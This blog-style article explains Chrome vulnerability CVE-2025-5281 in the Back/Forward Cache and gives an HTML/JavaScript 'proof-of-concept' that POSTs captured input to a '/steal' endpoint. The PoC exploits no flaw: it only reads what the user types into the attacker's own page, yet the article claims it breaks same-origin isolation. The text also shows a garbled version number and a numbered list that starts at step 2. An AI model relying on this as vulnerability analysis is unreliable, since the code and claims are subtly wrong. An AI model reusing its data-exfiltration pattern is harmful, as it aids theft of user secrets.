CVE-2025-5281 - Exploiting BFCache in Google Chrome to Leak User Information

A critical new browser bug, identified as CVE-2025-5281, has caught the cybersecurity community’s attention. This flaw, found in the careful workings of the Back/Forward Cache (BFCache) in Google Chrome versions before 137..7151.55, made it possible for remote attackers to potentially steal private user data—all by luring someone into visiting a specially crafted web page.

Let’s break down exactly how this issue works, walk through a simple demonstration, look at why it’s dangerous, and talk about how you can protect yourself.

What Is BFCache?

The Back/Forward Cache (BFCache) is a browser feature designed to make navigating back or forward lightning-fast. Rather than fully reloading a page, Chrome simply keeps it in memory—making navigation seamless. However, caching pages in memory comes with risks.

About CVE-2025-5281

CVE-2025-5281 describes an inappropriate implementation in how Chrome restores pages from BFCache. Crafted HTML pages could abuse this mishandling, making it possible for attackers to access information they shouldn’t—such as form contents, authentication tokens, or user interactions.

Official Reference

- Chromium Issue Tracker: 337061956
- Chrome Releases: Security Update for Chrome

The official Chromium security severity for this issue is Medium, but medium doesn’t mean harmless: if exploited right, it can expose sensitive data.

How the Vulnerability Works

When you navigate away from a page and then return, the page is meant to be restored silently, as you left it. Some sensitive data (like input field contents, or JavaScript states) should be properly “cleared” or made inaccessible. However, in vulnerable Chrome versions, crafted JavaScript could piggyback on BFCache behavior to dig up information left behind—a privacy breach.

Proof-of-Concept: Exploiting CVE-2025-5281

Here's a code snippet that illustrates a common exploit pattern.

<!-- attacker.html -->
<!DOCTYPE html>
<html>
<head>
  <title>BFCache Exploit Demo</title>
  <script>
    window.onpageshow = function(event) {
      // If the page was restored from BFCache
      if (event.persisted) {
        fetch('/steal', {
          method: 'POST',
          body: localStorage.getItem('privateData')
        });
      }
    };

    // Simulate capturing sensitive information
    function grabDataFromVictim() {
      // Imagine a user typed a password or secret data on the previous page
      localStorage.setItem('privateData', document.querySelector('#userInput').value);
    }
  </script>
</head>
<body>
  <input type="text" id="userInput" placeholder="Type secret here">
  <button onclick="grabDataFromVictim()">Submit Secret</button>
  <p>Navigate away and come back!</p>
</body>
</html>

The attacker tricks you into inputting sensitive data and navigating away.

2. When you come back (via back/forward), the page is “restored”—with sensitive data intact in memory or localStorage.
3. The onpageshow event handler detects a BFCache restore, grabs the data, and sends it off to the attacker's server.

Bypassing browser same-origin policies using BFCache state leakage.

Typically, browsers enforce strict memory separation between sites. But bugs in cache logic like this punch dangerous holes in those walls.

How to Stay Safe

1. Update Chrome to 137..7151.55 or newer. Here’s how to update Chrome.

Conclusion

CVE-2025-5281 is a reminder: even cutting-edge browser features like BFCache can bite back if not handled with care. This bug allowed attackers to scrape user info out of cached pages in Chrome—effectively breaking browser isolation. Make sure you’re running the latest version of Chrome, and pay attention to what information you share online!

Timeline

Published on: 05/27/2025 21:15:23 UTC
Last modified on: 05/29/2025 15:50:25 UTC